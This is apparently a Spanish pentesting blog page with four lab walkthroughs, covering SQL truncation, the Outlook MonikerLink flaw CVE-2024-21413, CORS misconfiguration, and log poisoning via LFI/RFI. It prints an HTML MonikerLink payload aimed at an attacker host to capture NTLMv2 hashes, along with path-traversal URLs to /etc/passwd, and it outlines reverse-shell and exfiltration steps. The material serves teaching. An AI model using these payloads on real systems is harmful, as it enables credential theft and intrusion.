Ataque de Truncado SQL (SQL Truncation): Prueba de Concepto y Explicación

    El ataque de truncamiento SQL, conocido también como SQL Truncation, es una táctica empleada por atacantes para manipular consultas SQL de manera maliciosa en una base de datos. Es decir en la configuración de la base de datos en la que una entrada se trunca (elimina) al agregarse a la base de datos debido a que supera la longitud máxima definida. El sistema de gestión de la base de datos truncará cualquier valor recién insertado para que se ajuste al ancho del tamaño de columna designado.

    Imaginemos una situación común en la que una aplicación web tiene un campo de entrada limitado, como el de correo electrónico, y no realiza una validación adecuada de los datos ingresados.

   Uno de los campos requeridos es la de correo electrónico, limitada a 17 caracteres en la base de datos.

    Si el usuario "[email protected]" ya está registrado, intentar crear otra cuenta con la misma dirección sería bloqueado. Pero, si un atacante intenta registrar"[email protected]  a", que tiene 18 caracteres, el sistema lo truncaría a "[email protected]" debido a su límite de longitud.

    ¿Qué sucede con los espacios? Estos serán eliminados automáticamente, lo que significa que "[email protected]  a" se convertirá nuevamente en "[email protected]". Así, el atacante podría registrarse con una dirección similar y potencialmente cambiar la contraseña del usuario existente.

    Si la base de datos considera los espacios como caracteres válidos entre las entradas y no realiza ningún recorte antes de almacenar los valores, un atacante puede crear cuentas duplicadas de un usuario existente 

    Este tipo de ataque aprovecha la falta de validación en la aplicación web, lo que permite al atacante manipular las consultas SQL para realizar acciones maliciosas como modificar o eliminar datos, acceder a información confidencial o tomar el control de cuentas de usuario.

    Una cosa a tener en cuenta al crear una cuenta duplicada como administrador es que no garantiza que tendrá privilegios de administrador. Algunas bases de datos utilizan columnas de permisos para especificar los privilegios de la cuenta.

    Para prevenir este tipo de ataque, es crucial validar adecuadamente todos los datos de entrada del usuario, incluyendo longitud y formato, antes de utilizarlos en consultas SQL.

PoC

    

    En esta prueba de concepto utilizaremos el laboratorio tornado de VulnHub

    Tenemos un panel del login

Tras probar usuarios y contraseñas por defecto nos da la oportunidad de registrarnos y tas loguearnos encontramos el dashboard

   Si nos fijamos en el código fuente podemos encontrar distintas rutas, en la cual, una de ellas nos esconde un alias

    Miramos la ruta dada con el alias "~".     Al igual que tendríamos desde consola

    Y encontramos numerosos usuarios, si intentamos registrar alguno nos lo impedira

    Obviamente esta ya registrado, y aquí es donde entra en juego el truncado

    Teníamos una longitud máxima de 13, la cual hemos cambiado a 40, en este caso el usuario "jacob@tornado   a"  se convertirá en "jacob@tornado"  omitiendo los espacios y la a, debido a que la base de datos no a realizado una validación correcta y hemos ampliado el limite de longitud máxima para ese campo

    Tras loguearnos tenemos acceso al panel en con el correo que hemos truncado

    Y además en este caso tiene una vulnerabilidad RCE con lo cual nos podemos enviar una reverse shell

Os dejo un video realizando una prueba de concepto en el canal de YouTube

Leer más»

Explotación de la vulnerabilidad de Outlook (CVE-2024-21413): Explicación y PoC

    Recientemente, se ha descubierto una vulnerabilidad crítica en Microsoft Outlook, catalogada bajo el código CVE-2024-21413 denominado error MonikerLink. Esta vulnerabilidad permite a un atacante ejecutar código de manera remota (RCE) al abrir un correo electrónico con enlaces maliciosos, afectando a varias versiones de Microsoft Outlook.

    El problema está en que, al hacer clic en uno de estos enlaces manipulados, el dispositivo del usuario se conecta a otro sistema, controlado por un atacante con malas intenciones. Lo que provoca el robo de credenciales NTLM.

    Outlook puede analizar hipervínculos como HTTP y HTTPS. Sin embargo, también puede abrir URL que especifiquen aplicaciones conocidas. Normalmente, Outlook generará una advertencia de seguridad cuando sea externo:

    
    Esta ventana emergente es el resultado de la "Vista protegida de Outlook". Protected View abre correos electrónicos que contienen archivos adjuntos, hipervínculos y contenido similar en modo de solo lectura, bloqueando cosas como macros.

    El fallo encontrado en Microsoft Outlook corresponde a la operación donde el software gestiona la ejecución de hipervínculos dentro de los correos electrónicos. Los investigadores descubrieron que ciertos enlaces, que utilizan el modo «file://», podrían alterarse para incluir una dirección específica. Al usar el «file://» Moniker Link en nuestro hipervínculo, podemos indicar un Outlook que intenta acceder a un archivo, como un archivo compartido en red. Se utiliza el protocolo SMB, que implica el uso de credenciales locales para autenticación. Sin embargo, la "Vista protegida" de Outlook capta y bloquea este intento.

<p><a href="file://ATTACKER_MACHINE/test">Haz click aquí</a></p>

    La vulnerabilidad aquí existe modificando nuestro hipervínculo para incluir la ! carácter especial y algún texto en nuestro Moniker Link que resulta en eludir la Vista protegida de Outlook. Por ejemplo:

<p><a href="file://ATTACKER_MACHINE/test!exploit">Haz click</a></p>

    Nosotros, como atacantes, podemos proporcionar un Moniker Link  para el ataque. Teniendo en cuenta que la acción no necesita existir en el dispositivo remoto, ya que se intentará un intento de autenticación independientemente, lo que llevará al envío del hash NTLMv2 de Windows de la víctima al atacante.

    La ejecución remota de código (RCE) es posible porque Moniker Links usa el modelo de objeto componente (COM) en Windows. 

PoC

    Para este ataque utilizaremos el laboratorio de Try Hack Me, enviaremos a nuestra víctima por correo electrónico un Moniker Link similar al proporcionado anteriormente . El objetivo, como atacante, es crear un correo electrónico para la víctima con un enlace Moniker que pase por alto la "Vista protegida" de Outlook, donde el cliente de la víctima intentará cargar un archivo desde nuestra máquina atacante, lo que resultará en la captura del hash NTLMv2 de la víctima. .

    Utilizaremos el siguiente script

    Tendremos que indicar nuestra ip atacante primeramente y el servidor al cual va a ser enviado el mensaje

    Este código es un script en Python que se utiliza para enviar un correo electrónico que contiene un enlace malicioso. Explicación del codgio:

    • 1. `import smtplib`: Importa el módulo `smtplib`, que proporciona las herramientas para enviar correos electrónicos utilizando el protocolo SMTP.

     • 2. `from email.mime.text import MIMEText`: Importa la clase `MIMEText` del módulo `email.mime.text`. Esta clase se utiliza para crear un objeto MIME que representa el contenido del correo electrónico en formato de texto.

     • 3. `from email.mime.multipart import MIMEMultipart`: Importa la clase `MIMEMultipart` del módulo `email.mime.multipart`. Esta clase se utiliza para crear un objeto MIME que puede contener partes múltiples, como texto y archivos adjuntos.

     • 4. `from email.utils import formataddr`: Importa la función `formataddr` del módulo `email.utils`, que se utiliza para formatear direcciones de correo electrónico.

     • 5. Se definen algunas variables:

   - `sender_email`: Dirección de correo electrónico del remitente.

   - `receiver_email`: Dirección de correo electrónico del destinatario.

   - `password`: Contraseña del correo electrónico del remitente. Esta se solicitará al usuario cuando se ejecute el script.

   - `html_content`: Contenido HTML del correo electrónico. Contiene un enlace que apunta a un archivo malicioso `test!exploit` en la máquina del atacante.

     • 6. Se crea un objeto `MIMEMultipart` llamado `message`. Se establece el asunto del correo electrónico y se configuran los campos "From" y "To" utilizando la función `formataddr` para formatear la dirección del remitente.

     • 7. Se crea un objeto `MIMEText` llamado `msgHtml` que contiene el contenido HTML del correo electrónico.

     • 8. El objeto `msgHtml` se adjunta al objeto `message` utilizando el método `attach`.

     • 9. Se crea una conexión SMTP con el servidor de correo saliente (`MAILSERVER` en el código) en el puerto 25.

     • 10. Se intenta iniciar sesión en el servidor SMTP utilizando la dirección de correo electrónico del remitente (`sender_email`) y la contraseña proporcionada por el usuario.

     • 11. Se envía el correo electrónico utilizando el método `sendmail` del objeto `server`, pasando la dirección del remitente, la lista de direcciones de destinatarios y el mensaje convertido a una cadena de texto.

     • 12. Si se produce algún error durante el envío del correo electrónico, se imprimirá un mensaje de error. En cualquier caso, se llama al método `quit` para cerrar la conexión SMTP.

    Usamos Responder para crear un oyente SMB en nuestra máquina atacante. Para nuestra máquina será la interfaz será -I tun0 puesto que estamos conectados mediante una vpn a la maquina THM. 

    Si lanzamos el exploit nos va a indicar que esta enviado, en esta caso nos pedirá una contraseña("attacker") del correo atacante

    En la bandeja de entrada del correo victima llegara un nuevo mensaje 

    Y vemos que como explicamos anteriormente que  «file://» a sido alterado para incluir una dirección IP. Al usar el «file://»  en nuestro hipervínculo, podemos indicar a Outlook que intenta acceder a un archivo, como un archivo en una red compartida, por lo que se utiliza el protocolo SMB, que implica el uso de credenciales locales para autenticación.

    Volviendo a nuestra Servidor SMB vemos que efectivamente hemos obtenido el hash NTLMv2

    Si lo pasamos por John obtendriamos la contraseña 

    Además, la solicitud SMB de la víctima al se puede ver con Wireshark

Os dejo un video realizando una prueba de concepto en el canal de YouTube

Además os dejo también la prueba de concepto del compañero CondorHacks

Leer más»

Intercambio de recursos de origen cruzado (CORS): Explicación y PoC

    El intercambio de recursos de origen cruzado, conocido como CORS, es una medida que restringe el acceso a recursos desde diferentes lugares, como dominios o protocolos distintos. Su propósito es proteger la privacidad y seguridad de los usuarios al evitar accesos no autorizados a información sensible desde otros sitios web. Es utilizado con frecuencia por las API web en particular, pero en un sitio web complejo moderno puede aparecer en cualquier lugar. Se entiende ampliamente que ciertas configuraciones CORS son peligrosas, pero algunas sutilezas e implicaciones asociadas se malinterpretan fácilmente.

    Por ejemplo, si tenemos una aplicación web en "curiosidadesdehackers.com" que utiliza una API en "api.curiosidadesdehackers.com", CORS asegura que solo las solicitudes desde "curiosidadesdehackers.com" sean permitidas hacia "api.curiosidadesdehackers.com". Cualquier intento de acceso desde un dominio no autorizado, como "atacante.com", será bloqueado por el navegador.

    Sin embargo, si la aplicación no tiene una configuración CORS adecuada, un atacante podría explotar esta vulnerabilidad para acceder a datos sensibles. Por ejemplo, podría inyectar código malicioso en una página web para realizar solicitudes a la API en "api.example.com".

    El atacante podría utilizar herramientas automatizadas para probar distintos encabezados CORS y encontrar una configuración incorrecta que permita la solicitud desde otro dominio. Si logra hacerlo, podría acceder a información confidencial, como datos de inicio de sesión o modificar datos de la aplicación.

    Para prevenir este tipo de ataques, es esencial configurar correctamente CORS en la aplicación web y permitir únicamente solicitudes de dominios confiables.

    Los sitios web permiten CORS enviando el siguiente encabezado de respuesta HTTP:

    Access-Control-Allow-Origin: https://example.com

Esto permite que el origen listado (dominio) haga que los visitantes emitan solicitudes entre dominios al servidor y lean las respuestas. De forma predeterminada, esta solicitud se emitirá sin cookies u otras credenciales, por lo que puede usarse para robar información confidencial. El servidor puede habilitar la transmisión de credenciales utilizando el siguiente encabezado:

Access-Control-Allow-Credentials: true

PoC

Para este laboratorio usaremos Sfk-Labs

    Es importante buscar configuraciones inseguras, como el uso de un comdín "*" como valor del encabezado Access-Control-Allow-Origin, lo que significa que se permite el acceso desde cualquier dominio.

Procedemos a iniciar sesión en la aplicación de destino como admin:admin para autenticarnos.

Ahora que hemos iniciado sesión como usuario objetivo, veamos parte del tráfico interceptado con burpsuite

    Como vemos la aplicacitiene CORS habilitado y ha establecido un comodín para el encabezado de respuesta "Access-Control-Allow-Origin".

   Ahora, si agregamos un encabezado de solicitud "Origin", encontramos que el valor del encabezado Origin agregado se asigna dinámicamente al encabezado "Access-Control-Allow-Origin".

    El resto del ataque se asemejará a un ataque CSRF (Cross-Site Request Forgery). Sin embargo, en lugar de efectuar un cambio en el estado en nombre del usuario objetivo, llevaremos a cabo una solicitud GET desde nuestro dominio para extraer información.

    Esto es posible debido a que se permite la carga de recursos desde cualquier lugar, por lo que crearemos un script que nos permita obtener dicha información.

    Primero configuraremos un servidor que permita hacer peticiones

    Ahora nos creamos un script malicioso para que cuándo la victima ingrese en nuestra pagina, almacene todo lo que ve en la web y nos lo mande 

    Interceptamos la solicitud desde el servidor que hemos creado hacia la web objetivo. En esta solicitud, encontramos el encabezado "Origin" adjunto a la solicitud desde la fuente "http://127.0.0.1:1337", como era de esperarse. Es importante señalar que al eliminar este encabezado de la solicitud, el ataque deja de funcionar.

    Y si accedemos a nuestro servidor podremos ver toda la información confidencial. 

    Cabe destacar que cada vez que el navegador descubra el mismo encabezado apuntara hacia nuestro servidor.

Leer más»

Explotación de la vulnerabilidad Log Poisoning mediante LFI, RFI y RCE, explicaciones y PoC

        El Log Poisoning es una técnica de ataque en la que un atacante manipula los archivos de registro (logs) de una aplicación web para lograr un resultado malintencionado. Esta técnica puede ser utilizada en conjunto con una vulnerabilidad LFI para lograr una ejecución remota de comandos en el servidor.

    Como ejemplos, trataremos de envenenar los recursos "access.log" , comenzando mediante la explotación de una vulnerabilidad LFI primeramente para acceder a estos archivos de registro. Una vez hayamos logrado acceder a estos archivos, veremos cómo manipularlos para incluir código malicioso.

    En el caso de los logs de SSH, el atacante puede inyectar código PHP en el campo de usuario durante el proceso de autenticación. Esto permite que el código se registre en el log ‘auth.log‘ de SSH y sea interpretado en el momento en el que el archivo de registro sea leído. De esta manera, el atacante puede lograr una ejecución remota de comandos en el servidor.

    En el caso del archivo "access.log" de Apache, el atacante puede inyectar código PHP en el campo User-Agent de una solicitud HTTP. Este código malicioso se registra en el archivo de registro ‘access.log’ de Apache y se ejecuta cuando el archivo de registro es leído. De esta manera, el atacante también puede lograr una ejecución remota de comandos en el servidor.

    Para prevenir el Log Poisoning, es importante que los desarrolladores limiten el acceso a los archivos de registro y aseguren que estos archivos se almacenen en un lugar seguro. Además, es importante que se valide adecuadamente la entrada del usuario y se filtre cualquier intento de entrada maliciosa antes de registrarla en los archivos de registro.

    Para este laboratorio usaremos la máquina de Condor y Jackie0x17 de la plataforma VulNyx

    Buscamos vulnerabilidades en esta web y nos encontramos con Local File Inclusion con el siguiente exploit debido a un plugin 

    La vulnerabilidad Local File Inclusion (LFI) es una vulnerabilidad de seguridad informática que se produce cuando una aplicación web no valida adecuadamente las entradas de usuario, permitiendo a un atacante acceder a archivos locales en el servidor web.

En muchos casos, los atacantes aprovechan la vulnerabilidad de LFI al abusar de parámetros de entrada en la aplicación web. Los parámetros de entrada son datos que los usuarios ingresan en la aplicación web, como las URL o los campos de formulario. Los atacantes pueden manipular los parámetros de entrada para incluir rutas de archivo local en la solicitud, lo que puede permitirles acceder a archivos en el servidor web. Esta técnica se conoce como "Path Traversal" y se utiliza comúnmente en ataques de LFI.

    En el ataque de Path Traversal, el atacante utiliza caracteres especiales y caracteres de escape en los parámetros de entrada para navegar a través de los directorios del servidor web y acceder a archivos en ubicaciones sensibles del sistema.

    Por ejemplo, el atacante podría incluir "../" en el parámetro de entrada para navegar hacia arriba en la estructura del directorio y acceder a archivos en ubicaciones sensibles del sistema.

    Para prevenir los ataques LFI, es importante que los desarrolladores de aplicaciones web validen y filtren adecuadamente la entrada del usuario, limitando el acceso a los recursos del sistema y asegurándose de que los archivos sólo se puedan incluir desde ubicaciones permitidas. Además, las empresas deben implementar medidas de seguridad adecuadas, como el cifrado de archivos y la limitación del acceso de usuarios no autorizados a los recursos del sistema.

    En ocasiones tendremos que cambiar la ruta usando la técnica de path traversal, es decir irse al directorio raíz (http://ex.com/index.php?file=../../../../../../../../etc/passwd), también es posible que tengamos que url encodear( http://ex.com/index.php?page=%252e%252e%252fetc%252fpasswd), o wrappers (http://ex.com/index.php?file=php://filter/convert.base64-encode/resource=index)

    Vamos a fuzzear para ver que rutas nos encuentra disponibles

    Y encontramos la ruta /var/log/apache2/access.log

    En el caso del archivo "access.log" de Apache, el atacante puede inyectar código PHP en el campo User-Agent de una solicitud HTTP. Este código malicioso se registra en el archivo de registro ‘access.log’ de Apache y se ejecuta cuando el archivo de registro es leído. De esta manera, el atacante también puede lograr una ejecución remota de comandos en el servidor.

    Comencemos a envenenar los logs mediante un RCE

    Las vulnerabilidades de RCE pueden aparecer en cualquier tipo de software, en casi todos los lenguajes de programación y en cualquier plataforma.

    Otras vulnerabilidades pueden conducir a la ejecución remota de código arbitrario. Por ejemplo, desbordamiento de búfer, vulnerabilidades de deserialización, inyección SQL o (XSS)vulnerabilidades que conducen a la ejecución remota de código en una aplicación vulnerable.

    Algunos ataques RCE pueden ocurrir después de un retraso. Por ejemplo, la aplicación puede almacenar primero la carga útil RCE en un archivo de configuración y solo ejecutarla más tarde, tal vez incluso varias veces. Este tipo de vulnerabilidad RCE se llama a RCE almacenado.

    Cada lenguaje de programación común utilizado en el desarrollo web tiene funciones para evaluar (ejecutar) código en ese lenguaje en tiempo de ejecución. Cada vez que los desarrolladores usan tales funciones en aplicaciones web, introducen la posibilidad de ejecución remota de código del lado del servidor web.

    A continuación se muestra un ejemplo simple de código fuente PHP con vulnerabilidades de inyección de código (RCE).

    Vemos que tenemos ejecución remota de comandos así que tenemos varias maneras de entrar, puesto que hemos envenenado los logs de apache(Log Posioning), así que tenemos varias maneras de entrar, primeramente mediante RFI

    La vulnerabilidad Remote File Inclusion (RFI) es una vulnerabilidad de seguridad en la que un atacante puede incluir archivos remotos en una aplicación web vulnerable. Esto puede permitir al atacante ejecutar código malicioso en el servidor web y comprometer el sistema.

    En un ataque de RFI, el atacante utiliza una entrada del usuario, como una URL o un campo de formulario, para incluir un archivo remoto en la solicitud. Si la aplicación web no valida adecuadamente estas entradas, procesará la solicitud y devolverá el contenido del archivo remoto al atacante.

    Un atacante puede utilizar esta vulnerabilidad para incluir archivos remotos maliciosos que contienen código malicioso, como virus o troyanos, o para ejecutar comandos en el servidor vulnerable. En algunos casos, el atacante puede dirigir la solicitud hacia un recurso PHP alojado en un servidor de su propiedad, lo que le brinda un mayor grado de control en el ataque.

    Crearemos un archivo php con una revshell que apunte a nuestra maquina atacante

    Montamos un servidor en python y utilizamos curl para indicar mediante RCE al servidor que de descargue el archivo que hemos creado. Como vemos lo a descargado

    En muchas ocasiones tenemos que darles permisos de ejecución(este no es el caso) y de la misma manera que le hemos indicado al servidor que descargue nuestra archivo le indicamos que lo ejecute, pero antes nos ponemos en escucha con netcat, obteniendo la revshell

    Otra manera de hacerlo es indicando el one liner de la revshell en la URL, también lo podemos hacer utilizando burpsuite.

Os dejo el video explicativo e mi canal de YouTube

Leer más»